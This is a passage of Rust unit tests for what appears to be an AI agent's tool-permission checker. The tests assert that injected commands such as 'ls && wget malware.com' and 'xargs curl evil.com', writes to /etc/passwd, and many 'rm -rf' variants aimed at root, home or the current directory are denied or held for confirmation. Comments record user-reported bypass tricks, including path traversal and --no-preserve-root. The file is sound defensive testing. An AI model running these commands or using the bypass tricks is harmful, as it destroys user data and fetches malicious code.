1055 default: ToolPermissionMode::Confirm,
1056 tools,
1057 };
1058 // Invalid patterns block the tool regardless of other settings
1059 assert!(matches!(
1060 ToolPermissionDecision::from_input(
1061 TerminalTool::NAME,
1062 &["echo hi".to_string()],
1063 &p,
1064 ShellKind::Posix
1065 ),
1066 ToolPermissionDecision::Deny(_)
1067 ));
1068 }
1069
1070 #[test]
1071 fn shell_injection_via_double_ampersand_not_allowed() {
1072 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1073 }
1074
1075 #[test]
1076 fn shell_injection_via_semicolon_not_allowed() {
1077 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1078 }
1079
1080 #[test]
1081 fn shell_injection_via_pipe_not_allowed() {
1082 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1083 }
1084
1085 #[test]
1086 fn shell_injection_via_backticks_not_allowed() {
1087 t("echo `wget malware.com`")
1088 .allow(&[pattern("echo")])
1089 .is_confirm();
1090 }
1091
1092 #[test]
1093 fn shell_injection_via_dollar_parens_not_allowed() {
1094 t("echo $(wget malware.com)")
1095 .allow(&[pattern("echo")])
1096 .is_confirm();
1097 }
1098
1099 #[test]
1100 fn shell_injection_via_or_operator_not_allowed() {
1101 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1102 }
1103
1104 #[test]
1105 fn shell_injection_via_background_operator_not_allowed() {
1106 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1107 }
1108
1109 #[test]
1110 fn shell_injection_via_newline_not_allowed() {
1111 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1112 }
1113
1114 #[test]
1115 fn shell_injection_via_process_substitution_input_not_allowed() {
1116 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1117 }
1118
1119 #[test]
1120 fn shell_injection_via_process_substitution_output_not_allowed() {
1121 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1122 }
1123
1124 #[test]
1125 fn shell_injection_without_spaces_not_allowed() {
1126 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1127 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1128 }
1129
1130 #[test]
1131 fn shell_injection_multiple_chained_operators_not_allowed() {
1132 t("ls && echo hello && wget malware.com")
1133 .allow(&["^ls"])
1134 .is_confirm();
1135 }
1136
1137 #[test]
1138 fn shell_injection_mixed_operators_not_allowed() {
1139 t("ls; echo hello && wget malware.com")
1140 .allow(&["^ls"])
1141 .is_confirm();
1142 }
1143
1144 #[test]
1145 fn shell_injection_pipe_stderr_not_allowed() {
1146 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1147 }
1148
1149 #[test]
1150 fn allow_requires_all_commands_to_match() {
1151 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1152 }
1153
1154 #[test]
1155 fn dev_null_redirect_does_not_cause_false_negative() {
1156 // Redirects to /dev/null are known-safe and should be skipped during
1157 // command extraction, so they don't prevent auto-allow from matching.
1158 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1159 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1160 .is_allow();
1161 }
1162
1163 #[test]
1164 fn redirect_to_real_file_still_causes_confirm() {
1165 // Redirects to real files (not /dev/null) should still be included in
1166 // the extracted commands, so they prevent auto-allow when unmatched.
1167 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1168 }
1169
1170 #[test]
1171 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1172 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1173 // "echo y\ny" and "git add -p file". Both should match their respective allow
1174 // patterns, so the overall command should be auto-allowed.
1175 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1176 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1177 .is_allow();
1178 }
1179
1180 #[test]
1181 fn deny_triggers_on_any_matching_command() {
1182 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1183 }
1184
1185 #[test]
1186 fn deny_catches_injected_command() {
1187 t("ls && rm -rf ./temp")
1188 .allow(&["^ls"])
1189 .deny(&["^rm"])
1190 .is_deny();
1191 }
1192
1193 #[test]
1194 fn confirm_triggers_on_any_matching_command() {
1195 t("ls && sudo reboot")
1196 .allow(&["^ls"])
1197 .confirm(&["^sudo"])
1198 .is_confirm();
1199 }
1200
1201 #[test]
1202 fn always_allow_button_works_end_to_end() {
1203 // This test verifies that the "Always Allow" button behavior works correctly:
1204 // 1. User runs a command like "cargo build --release"
1205 // 2. They click "Always Allow for `cargo build` commands"
1206 // 3. The pattern extracted should match future "cargo build" commands
1207 // but NOT other cargo subcommands like "cargo test"
1208 let original_command = "cargo build --release";
1209 let extracted_pattern = pattern(original_command);
1210
1211 // The extracted pattern should allow the original command
1212 t(original_command).allow(&[extracted_pattern]).is_allow();
1213
1214 // It should allow other "cargo build" invocations with different flags
1215 t("cargo build").allow(&[extracted_pattern]).is_allow();
1216 t("cargo build --features foo")
1217 .allow(&[extracted_pattern])
1218 .is_allow();
1219
1220 // But NOT other cargo subcommands — the pattern is subcommand-specific
1221 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1222 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1223
1224 // Hyphenated extensions of the subcommand should not match either
1225 // (e.g. cargo plugins like "cargo build-foo")
1226 t("cargo build-foo")
1227 .allow(&[extracted_pattern])
1228 .is_confirm();
1229 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1230
1231 // But not commands with different base commands
1232 t("npm install").allow(&[extracted_pattern]).is_confirm();
1233
1234 // Chained commands: all must match the pattern
1235 t("cargo build && cargo build --release")
1236 .allow(&[extracted_pattern])
1237 .is_allow();
1238
1239 // But reject if any subcommand doesn't match
1240 t("cargo build && npm install")
1241 .allow(&[extracted_pattern])
1242 .is_confirm();
1243 }
1244
1245 #[test]
1246 fn always_allow_button_works_without_subcommand() {
1247 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1248 // should only include the command name, not the flag.
1249 let original_command = "ls -la";
1250 let extracted_pattern = pattern(original_command);
1251
1252 // The extracted pattern should allow the original command
1253 t(original_command).allow(&[extracted_pattern]).is_allow();
1254
1255 // It should allow other invocations of the same command
1256 t("ls").allow(&[extracted_pattern]).is_allow();
1257 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1258
1259 // But not different commands
1260 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1261
1262 // Chained commands: all must match
1263 t("ls -la && ls /tmp")
1264 .allow(&[extracted_pattern])
1265 .is_allow();
1266 t("ls -la && cat file.txt")
1267 .allow(&[extracted_pattern])
1268 .is_confirm();
1269 }
1270
1271 #[test]
1272 fn nested_command_substitution_all_checked() {
1273 t("echo $(cat $(whoami).txt)")
1274 .allow(&["^echo", "^cat", "^whoami"])
1275 .is_allow();
1276 }
1277
1278 #[test]
1279 fn parse_failure_falls_back_to_confirm() {
1280 t("ls &&").allow(&["^ls$"]).is_confirm();
1281 }
1282
1283 #[test]
1284 fn mcp_tool_default_modes() {
1285 t("")
1286 .tool("mcp:fs:read")
1287 .mode(ToolPermissionMode::Allow)
1288 .is_allow();
1289 t("")
1290 .tool("mcp:bad:del")
1291 .mode(ToolPermissionMode::Deny)
1292 .is_deny();
1293 t("")
1294 .tool("mcp:gh:issue")
1295 .mode(ToolPermissionMode::Confirm)
1296 .is_confirm();
1297 t("")
1298 .tool("mcp:gh:issue")
1299 .mode(ToolPermissionMode::Confirm)
1300 .global_default(ToolPermissionMode::Allow)
1301 .is_confirm();
1302 }
1303
1304 #[test]
1305 fn mcp_doesnt_collide_with_builtin() {
1306 let mut tools = collections::HashMap::default();
1307 tools.insert(
1308 Arc::from(TerminalTool::NAME),
1309 ToolRules {
1310 default: Some(ToolPermissionMode::Deny),
1311 always_allow: vec![],
1312 always_deny: vec![],
1313 always_confirm: vec![],
1314 invalid_patterns: vec![],
1315 },
1316 );
1317 tools.insert(
1318 Arc::from("mcp:srv:terminal"),
1319 ToolRules {
1320 default: Some(ToolPermissionMode::Allow),
1321 always_allow: vec![],
1322 always_deny: vec![],
1323 always_confirm: vec![],
1324 invalid_patterns: vec![],
1325 },
1326 );
1327 let p = ToolPermissions {
1328 default: ToolPermissionMode::Confirm,
1329 tools,
1330 };
1331 assert!(matches!(
1332 ToolPermissionDecision::from_input(
1333 TerminalTool::NAME,
1334 &["x".to_string()],
1335 &p,
1336 ShellKind::Posix
1337 ),
1338 ToolPermissionDecision::Deny(_)
1339 ));
1340 assert_eq!(
1341 ToolPermissionDecision::from_input(
1342 "mcp:srv:terminal",
1343 &["x".to_string()],
1344 &p,
1345 ShellKind::Posix
1346 ),
1347 ToolPermissionDecision::Allow
1348 );
1349 }
1350
1351 #[test]
1352 fn case_insensitive_by_default() {
1353 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1354 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1355 }
1356
1357 #[test]
1358 fn case_sensitive_allow() {
1359 t("cargo test")
1360 .allow_case_sensitive(&[pattern("cargo")])
1361 .is_allow();
1362 t("CARGO TEST")
1363 .allow_case_sensitive(&[pattern("cargo")])
1364 .is_confirm();
1365 }
1366
1367 #[test]
1368 fn case_sensitive_deny() {
1369 t("rm -rf ./temp")
1370 .deny_case_sensitive(&[pattern("rm")])
1371 .is_deny();
1372 t("RM -RF ./temp")
1373 .deny_case_sensitive(&[pattern("rm")])
1374 .mode(ToolPermissionMode::Allow)
1375 .is_allow();
1376 }
1377
1378 #[test]
1379 fn nushell_allows_with_allow_pattern() {
1380 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1381 }
1382
1383 #[test]
1384 fn nushell_allows_deny_patterns() {
1385 t("rm -rf ./temp")
1386 .deny(&["rm\\s+-rf"])
1387 .shell(ShellKind::Nushell)
1388 .is_deny();
1389 }
1390
1391 #[test]
1392 fn nushell_allows_confirm_patterns() {
1393 t("sudo reboot")
1394 .confirm(&["sudo"])
1395 .shell(ShellKind::Nushell)
1396 .is_confirm();
1397 }
1398
1399 #[test]
1400 fn nushell_no_allow_patterns_uses_default() {
1401 t("ls")
1402 .deny(&["rm"])
1403 .mode(ToolPermissionMode::Allow)
1404 .shell(ShellKind::Nushell)
1405 .is_allow();
1406 }
1407
1408 #[test]
1409 fn elvish_allows_with_allow_pattern() {
1410 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1411 }
1412
1413 #[test]
1414 fn rc_allows_with_allow_pattern() {
1415 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1416 }
1417
1418 #[test]
1419 fn multiple_invalid_patterns_pluralizes_message() {
1420 let mut tools = collections::HashMap::default();
1421 tools.insert(
1422 Arc::from(TerminalTool::NAME),
1423 ToolRules {
1424 default: Some(ToolPermissionMode::Allow),
1425 always_allow: vec![],
1426 always_deny: vec![],
1427 always_confirm: vec![],
1428 invalid_patterns: vec![
1429 InvalidRegexPattern {
1430 pattern: "[bad1".into(),
1431 rule_type: "always_deny".into(),
1432 error: "err1".into(),
1433 },
1434 InvalidRegexPattern {
1435 pattern: "[bad2".into(),
1436 rule_type: "always_allow".into(),
1437 error: "err2".into(),
1438 },
1439 ],
1440 },
1441 );
1442 let p = ToolPermissions {
1443 default: ToolPermissionMode::Confirm,
1444 tools,
1445 };
1446
1447 let result = ToolPermissionDecision::from_input(
1448 TerminalTool::NAME,
1449 &["echo hi".to_string()],
1450 &p,
1451 ShellKind::Posix,
1452 );
1453 match result {
1454 ToolPermissionDecision::Deny(msg) => {
1455 assert!(
1456 msg.contains("2 regex patterns"),
1457 "Expected '2 regex patterns' in message, got: {}",
1458 msg
1459 );
1460 }
1461 other => panic!("Expected Deny, got {:?}", other),
1462 }
1463 }
1464
1465 // always_confirm patterns on non-terminal tools
1466 #[test]
1467 fn always_confirm_works_for_file_tools() {
1468 t("sensitive.env")
1469 .tool(EditFileTool::NAME)
1470 .confirm(&["sensitive"])
1471 .is_confirm();
1472
1473 t("normal.txt")
1474 .tool(EditFileTool::NAME)
1475 .confirm(&["sensitive"])
1476 .mode(ToolPermissionMode::Allow)
1477 .is_allow();
1478
1479 t("/etc/config")
1480 .tool(DeletePathTool::NAME)
1481 .confirm(&["/etc/"])
1482 .is_confirm();
1483
1484 t("/home/user/safe.txt")
1485 .tool(DeletePathTool::NAME)
1486 .confirm(&["/etc/"])
1487 .mode(ToolPermissionMode::Allow)
1488 .is_allow();
1489
1490 t("https://secret.internal.com/api")
1491 .tool(FetchTool::NAME)
1492 .confirm(&["secret\\.internal"])
1493 .is_confirm();
1494
1495 t("https://public.example.com/api")
1496 .tool(FetchTool::NAME)
1497 .confirm(&["secret\\.internal"])
1498 .mode(ToolPermissionMode::Allow)
1499 .is_allow();
1500
1501 // confirm on non-terminal tools still beats allow
1502 t("sensitive.env")
1503 .tool(EditFileTool::NAME)
1504 .allow(&["sensitive"])
1505 .confirm(&["\\.env$"])
1506 .is_confirm();
1507
1508 // confirm on non-terminal tools is still beaten by deny
1509 t("sensitive.env")
1510 .tool(EditFileTool::NAME)
1511 .confirm(&["sensitive"])
1512 .deny(&["\\.env$"])
1513 .is_deny();
1514
1515 // global default allow does not bypass confirm on non-terminal tools
1516 t("/etc/passwd")
1517 .tool(EditFileTool::NAME)
1518 .confirm(&["/etc/"])
1519 .global_default(ToolPermissionMode::Allow)
1520 .is_confirm();
1521 }
1522
1523 // Hardcoded security rules tests - these rules CANNOT be bypassed
1524
1525 #[test]
1526 fn hardcoded_blocks_rm_rf_root() {
1527 t("rm -rf /").is_deny();
1528 t("rm -fr /").is_deny();
1529 t("rm -RF /").is_deny();
1530 t("rm -FR /").is_deny();
1531 t("rm -r -f /").is_deny();
1532 t("rm -f -r /").is_deny();
1533 t("RM -RF /").is_deny();
1534 t("rm /").is_deny();
1535 // Long flags
1536 t("rm --recursive --force /").is_deny();
1537 t("rm --force --recursive /").is_deny();
1538 // Extra short flags
1539 t("rm -rfv /").is_deny();
1540 t("rm -v -rf /").is_deny();
1541 // Glob wildcards
1542 t("rm -rf /*").is_deny();
1543 t("rm -rf /* ").is_deny();
1544 // End-of-options marker
1545 t("rm -rf -- /").is_deny();
1546 t("rm -- /").is_deny();
1547 // Prefixed with sudo or other commands
1548 t("sudo rm -rf /").is_deny();
1549 t("sudo rm -rf /*").is_deny();
1550 t("sudo rm -rf --no-preserve-root /").is_deny();
1551 }
1552
1553 #[test]
1554 fn hardcoded_blocks_rm_rf_home() {
1555 t("rm -rf ~").is_deny();
1556 t("rm -fr ~").is_deny();
1557 t("rm -rf ~/").is_deny();
1558 t("rm -rf $HOME").is_deny();
1559 t("rm -fr $HOME").is_deny();
1560 t("rm -rf $HOME/").is_deny();
1561 t("rm -rf ${HOME}").is_deny();
1562 t("rm -rf ${HOME}/").is_deny();
1563 t("rm -RF $HOME").is_deny();
1564 t("rm -FR ${HOME}/").is_deny();
1565 t("rm -R -F ${HOME}/").is_deny();
1566 t("RM -RF ~").is_deny();
1567 // Long flags
1568 t("rm --recursive --force ~").is_deny();
1569 t("rm --recursive --force ~/").is_deny();
1570 t("rm --recursive --force $HOME").is_deny();
1571 t("rm --force --recursive ${HOME}/").is_deny();
1572 // Extra short flags
1573 t("rm -rfv ~").is_deny();
1574 t("rm -v -rf ~/").is_deny();
1575 // Glob wildcards
1576 t("rm -rf ~/*").is_deny();
1577 t("rm -rf $HOME/*").is_deny();
1578 t("rm -rf ${HOME}/*").is_deny();
1579 // End-of-options marker
1580 t("rm -rf -- ~").is_deny();
1581 t("rm -rf -- ~/").is_deny();
1582 t("rm -rf -- $HOME").is_deny();
1583 }
1584
1585 #[test]
1586 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1587 // Path traversal after $HOME / ${HOME} should still be blocked
1588 t("rm -rf $HOME/./").is_deny();
1589 t("rm -rf $HOME/foo/..").is_deny();
1590 t("rm -rf ${HOME}/.").is_deny();
1591 t("rm -rf ${HOME}/./").is_deny();
1592 t("rm -rf $HOME/a/b/../..").is_deny();
1593 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1594 // Subdirectories should NOT be blocked
1595 t("rm -rf $HOME/subdir")
1596 .mode(ToolPermissionMode::Allow)
1597 .is_allow();
1598 t("rm -rf ${HOME}/Documents")
1599 .mode(ToolPermissionMode::Allow)
1600 .is_allow();
1601 }
1602
1603 #[test]
1604 fn hardcoded_blocks_rm_rf_dot() {
1605 t("rm -rf .").is_deny();
1606 t("rm -fr .").is_deny();
1607 t("rm -rf ./").is_deny();
1608 t("rm -rf ..").is_deny();
1609 t("rm -fr ..").is_deny();
1610 t("rm -rf ../").is_deny();
1611 t("rm -RF .").is_deny();
1612 t("rm -FR ../").is_deny();
1613 t("rm -R -F ../").is_deny();
1614 t("RM -RF .").is_deny();
1615 t("RM -RF ..").is_deny();
1616 // Long flags
1617 t("rm --recursive --force .").is_deny();
1618 t("rm --force --recursive ../").is_deny();
1619 // Extra short flags
1620 t("rm -rfv .").is_deny();
1621 t("rm -v -rf ../").is_deny();
1622 // Glob wildcards
1623 t("rm -rf ./*").is_deny();
1624 t("rm -rf ../*").is_deny();
1625 // End-of-options marker
1626 t("rm -rf -- .").is_deny();
1627 t("rm -rf -- ../").is_deny();
1628 }
1629
1630 #[test]
1631 fn hardcoded_cannot_be_bypassed_by_global() {
1632 // Even with global default Allow, hardcoded rules block
1633 t("rm -rf /")
1634 .global_default(ToolPermissionMode::Allow)
1635 .is_deny();
1636 t("rm -rf ~")
1637 .global_default(ToolPermissionMode::Allow)
1638 .is_deny();
1639 t("rm -rf $HOME")
1640 .global_default(ToolPermissionMode::Allow)
1641 .is_deny();
1642 t("rm -rf .")
1643 .global_default(ToolPermissionMode::Allow)
1644 .is_deny();
1645 t("rm -rf ..")
1646 .global_default(ToolPermissionMode::Allow)
1647 .is_deny();
1648 }
1649
1650 #[test]
1651 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1652 // Even with an allow pattern that matches, hardcoded rules block
1653 t("rm -rf /").allow(&[".*"]).is_deny();
1654 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1655 t("rm -rf .").allow(&[".*"]).is_deny();
1656 t("rm -rf ..").allow(&[".*"]).is_deny();
1657 }
1658
1659 #[test]
1660 fn hardcoded_allows_safe_rm() {
1661 // rm -rf on a specific path should NOT be blocked
1662 t("rm -rf ./build")
1663 .mode(ToolPermissionMode::Allow)
1664 .is_allow();
1665 t("rm -rf /tmp/test")
1666 .mode(ToolPermissionMode::Allow)
1667 .is_allow();
1668 t("rm -rf ~/Documents")
1669 .mode(ToolPermissionMode::Allow)
1670 .is_allow();
1671 t("rm -rf $HOME/Documents")
1672 .mode(ToolPermissionMode::Allow)
1673 .is_allow();
1674 t("rm -rf ../some_dir")
1675 .mode(ToolPermissionMode::Allow)
1676 .is_allow();
1677 t("rm -rf .hidden_dir")
1678 .mode(ToolPermissionMode::Allow)
1679 .is_allow();
1680 t("rm -rfv ./build")
1681 .mode(ToolPermissionMode::Allow)
1682 .is_allow();
1683 t("rm --recursive --force ./build")
1684 .mode(ToolPermissionMode::Allow)
1685 .is_allow();
1686 }
1687
1688 #[test]
1689 fn hardcoded_checks_chained_commands() {
1690 // Hardcoded rules should catch dangerous commands in chains
1691 t("ls && rm -rf /").is_deny();
1692 t("echo hello; rm -rf ~").is_deny();
1693 t("cargo build && rm -rf /")
1694 .global_default(ToolPermissionMode::Allow)
1695 .is_deny();
1696 t("echo hello; rm -rf $HOME").is_deny();
1697 t("echo hello; rm -rf .").is_deny();
1698 t("echo hello; rm -rf ..").is_deny();
1699 }
1700
1701 #[test]
1702 fn hardcoded_blocks_rm_with_extra_flags() {
1703 // Extra flags like -v, -i should not bypass the security rules
1704 t("rm -rfv /").is_deny();
1705 t("rm -v -rf /").is_deny();
1706 t("rm -rfi /").is_deny();
1707 t("rm -rfv ~").is_deny();
1708 t("rm -rfv ~/").is_deny();
1709 t("rm -rfv $HOME").is_deny();
1710 t("rm -rfv .").is_deny();
1711 t("rm -rfv ./").is_deny();
1712 t("rm -rfv ..").is_deny();
1713 t("rm -rfv ../").is_deny();
1714 }
1715
1716 #[test]
1717 fn hardcoded_blocks_rm_with_long_flags() {
1718 t("rm --recursive --force /").is_deny();
1719 t("rm --force --recursive /").is_deny();
1720 t("rm --recursive --force ~").is_deny();
1721 t("rm --recursive --force ~/").is_deny();
1722 t("rm --recursive --force $HOME").is_deny();
1723 t("rm --recursive --force .").is_deny();
1724 t("rm --recursive --force ..").is_deny();
1725 }
1726
1727 #[test]
1728 fn hardcoded_blocks_rm_with_glob_star() {
1729 // rm -rf /* is equally catastrophic to rm -rf /
1730 t("rm -rf /*").is_deny();
1731 t("rm -rf ~/*").is_deny();
1732 t("rm -rf $HOME/*").is_deny();
1733 t("rm -rf ${HOME}/*").is_deny();
1734 t("rm -rf ./*").is_deny();
1735 t("rm -rf ../*").is_deny();
1736 }
1737
1738 #[test]
1739 fn hardcoded_extra_flags_allow_safe_rm() {
1740 // Extra flags on specific paths should NOT be blocked
1741 t("rm -rfv ~/somedir")
1742 .mode(ToolPermissionMode::Allow)
1743 .is_allow();
1744 t("rm -rfv /tmp/test")
1745 .mode(ToolPermissionMode::Allow)
1746 .is_allow();
1747 t("rm --recursive --force ./build")
1748 .mode(ToolPermissionMode::Allow)
1749 .is_allow();
1750 }
1751
1752 #[test]
1753 fn hardcoded_does_not_block_words_containing_rm() {
1754 // Words like "storm", "inform" contain "rm" but should not be blocked
1755 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1756 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1757 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1758 }
1759
1760 #[test]
1761 fn hardcoded_blocks_rm_with_trailing_flags() {
1762 // GNU rm accepts flags after operands by default
1763 t("rm / -rf").is_deny();
1764 t("rm / -fr").is_deny();
1765 t("rm / -RF").is_deny();
1766 t("rm / -r -f").is_deny();
1767 t("rm / --recursive --force").is_deny();
1768 t("rm / -rfv").is_deny();
1769 t("rm /* -rf").is_deny();
1770 // Mixed: some flags before path, some after
1771 t("rm -r / -f").is_deny();
1772 t("rm -f / -r").is_deny();
1773 // Home
1774 t("rm ~ -rf").is_deny();
1775 t("rm ~/ -rf").is_deny();
1776 t("rm ~ -r -f").is_deny();
1777 t("rm $HOME -rf").is_deny();
1778 t("rm ${HOME} -rf").is_deny();
1779 // Dot / dotdot
1780 t("rm . -rf").is_deny();
1781 t("rm ./ -rf").is_deny();
1782 t("rm . -r -f").is_deny();
1783 t("rm .. -rf").is_deny();
1784 t("rm ../ -rf").is_deny();
1785 t("rm .. -r -f").is_deny();
1786 // Trailing flags in chained commands
1787 t("ls && rm / -rf").is_deny();
1788 t("echo hello; rm ~ -rf").is_deny();
1789 // Safe paths with trailing flags should NOT be blocked
1790 t("rm ./build -rf")
1791 .mode(ToolPermissionMode::Allow)
1792 .is_allow();
1793 t("rm /tmp/test -rf")
1794 .mode(ToolPermissionMode::Allow)
1795 .is_allow();
1796 t("rm ~/Documents -rf")
1797 .mode(ToolPermissionMode::Allow)
1798 .is_allow();
1799 }
1800
1801 #[test]
1802 fn hardcoded_blocks_rm_with_flag_equals_value() {
1803 // --flag=value syntax should not bypass the rules
1804 t("rm --no-preserve-root=yes -rf /").is_deny();
1805 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1806 t("rm -rf --no-preserve-root=yes /").is_deny();
1807 t("rm --interactive=never -rf /").is_deny();
1808 t("rm --no-preserve-root=yes -rf ~").is_deny();
1809 t("rm --no-preserve-root=yes -rf .").is_deny();
1810 t("rm --no-preserve-root=yes -rf ..").is_deny();
1811 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1812 // --flag (without =value) should also not bypass the rules
1813 t("rm -rf --no-preserve-root /").is_deny();
1814 t("rm --no-preserve-root -rf /").is_deny();
1815 t("rm --no-preserve-root --recursive --force /").is_deny();
1816 t("rm -rf --no-preserve-root ~").is_deny();
1817 t("rm -rf --no-preserve-root .").is_deny();
1818 t("rm -rf --no-preserve-root ..").is_deny();
1819 t("rm -rf --no-preserve-root $HOME").is_deny();
1820 // Trailing --flag=value after path
1821 t("rm / --no-preserve-root=yes -rf").is_deny();
1822 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1823 // Trailing --flag (without =value) after path
1824 t("rm / -rf --no-preserve-root").is_deny();
1825 t("rm ~ -rf --no-preserve-root").is_deny();
1826 // Safe paths with --flag=value should NOT be blocked
1827 t("rm --no-preserve-root=yes -rf ./build")
1828 .mode(ToolPermissionMode::Allow)
1829 .is_allow();
1830 t("rm --interactive=never -rf /tmp/test")
1831 .mode(ToolPermissionMode::Allow)
1832 .is_allow();
1833 // Safe paths with --flag (without =value) should NOT be blocked
1834 t("rm --no-preserve-root -rf ./build")
1835 .mode(ToolPermissionMode::Allow)
1836 .is_allow();
1837 }
1838
1839 #[test]
1840 fn hardcoded_blocks_rm_with_path_traversal() {
1841 // Traversal to root via ..
1842 t("rm -rf /etc/../").is_deny();
1843 t("rm -rf /tmp/../../").is_deny();
1844 t("rm -rf /tmp/../..").is_deny();
1845 t("rm -rf /var/log/../../").is_deny();
1846 // Root via /./
1847 t("rm -rf /./").is_deny();
1848 t("rm -rf /.").is_deny();
1849 // Double slash (equivalent to /)
1850 t("rm -rf //").is_deny();
1851 // Home traversal via ~/./
1852 t("rm -rf ~/./").is_deny();
1853 t("rm -rf ~/.").is_deny();
1854 // Dot traversal via indirect paths
1855 t("rm -rf ./foo/..").is_deny();
1856 t("rm -rf ../foo/..").is_deny();
1857 // Traversal in chained commands
1858 t("ls && rm -rf /tmp/../../").is_deny();
1859 t("echo hello; rm -rf /./").is_deny();
1860 // Traversal cannot be bypassed by global or allow patterns
1861 t("rm -rf /tmp/../../")
1862 .global_default(ToolPermissionMode::Allow)
1863 .is_deny();
1864 t("rm -rf /./").allow(&[".*"]).is_deny();
1865 // Safe paths with traversal should still be allowed
1866 t("rm -rf /tmp/../tmp/foo")
1867 .mode(ToolPermissionMode::Allow)
1868 .is_allow();
1869 t("rm -rf ~/Documents/./subdir")
1870 .mode(ToolPermissionMode::Allow)
1871 .is_allow();
1872 }
1873
1874 #[test]
1875 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1876 t("rm -rf /tmp /").is_deny();
1877 t("rm -rf /tmp/foo /").is_deny();
1878 t("rm -rf /var/log ~").is_deny();
1879 t("rm -rf /safe $HOME").is_deny();
1880 }
1881
1882 #[test]
1883 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1884 t("rm -rf / /tmp").is_deny();
1885 t("rm -rf ~ /var/log").is_deny();
1886 t("rm -rf . /tmp/foo").is_deny();
1887 t("rm -rf .. /safe").is_deny();
1888 }
1889
1890 #[test]
1891 fn hardcoded_allows_rm_multi_path_all_safe() {
1892 t("rm -rf /tmp /home/user")
1893 .mode(ToolPermissionMode::Allow)
1894 .is_allow();
1895 t("rm -rf ./build ./dist")
1896 .mode(ToolPermissionMode::Allow)
1897 .is_allow();
1898 t("rm -rf /var/log/app /tmp/cache")
1899 .mode(ToolPermissionMode::Allow)
1900 .is_allow();
1901 }
1902
1903 #[test]
1904 fn hardcoded_blocks_rm_multi_path_with_traversal() {
1905 t("rm -rf /safe /tmp/../../").is_deny();
1906 t("rm -rf /tmp/../../ /safe").is_deny();
1907 t("rm -rf /safe /var/log/../../").is_deny();
1908 }
1909
1910 #[test]
1911 fn hardcoded_blocks_user_reported_bypass_variants() {
1912 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1913 t("rm -rf /etc/../").is_deny();
1914 t("rm -rf /etc/..").is_deny();
1915 // User report: --no-preserve-root (without =value) should not bypass
1916 t("rm -rf --no-preserve-root /").is_deny();
1917 t("rm --no-preserve-root -rf /").is_deny();
1918 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1919 t("rm -rf /*").is_deny();
1920 // Chained with sudo
1921 t("sudo rm -rf /").is_deny();
1922 t("sudo rm -rf --no-preserve-root /").is_deny();
1923 // Traversal cannot be bypassed even with global allow or allow patterns
1924 t("rm -rf /etc/../")
1925 .global_default(ToolPermissionMode::Allow)
1926 .is_deny();
1927 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1928 t("rm -rf --no-preserve-root /")
1929 .global_default(ToolPermissionMode::Allow)
1930 .is_deny();
1931 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1932 }
1933
1934 #[test]
1935 fn normalize_path_relative_no_change() {
1936 assert_eq!(normalize_path("foo/bar"), "foo/bar");
1937 }
1938
1939 #[test]
1940 fn normalize_path_relative_with_curdir() {
1941 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1942 }
1943
1944 #[test]
1945 fn normalize_path_relative_with_parent() {
1946 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1947 }
1948
1949 #[test]
1950 fn normalize_path_absolute_preserved() {
1951 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1952 }
1953
1954 #[test]
1955 fn normalize_path_absolute_with_traversal() {
1956 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1957 }
1958
1959 #[test]
1960 fn normalize_path_root() {
1961 assert_eq!(normalize_path("/"), "/");
1962 }
1963
1964 #[test]
1965 fn normalize_path_parent_beyond_root_clamped() {
1966 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1967 }
1968
1969 #[test]
1970 fn normalize_path_curdir_only() {
1971 assert_eq!(normalize_path("."), "");
1972 }
1973
1974 #[test]
1975 fn normalize_path_empty() {
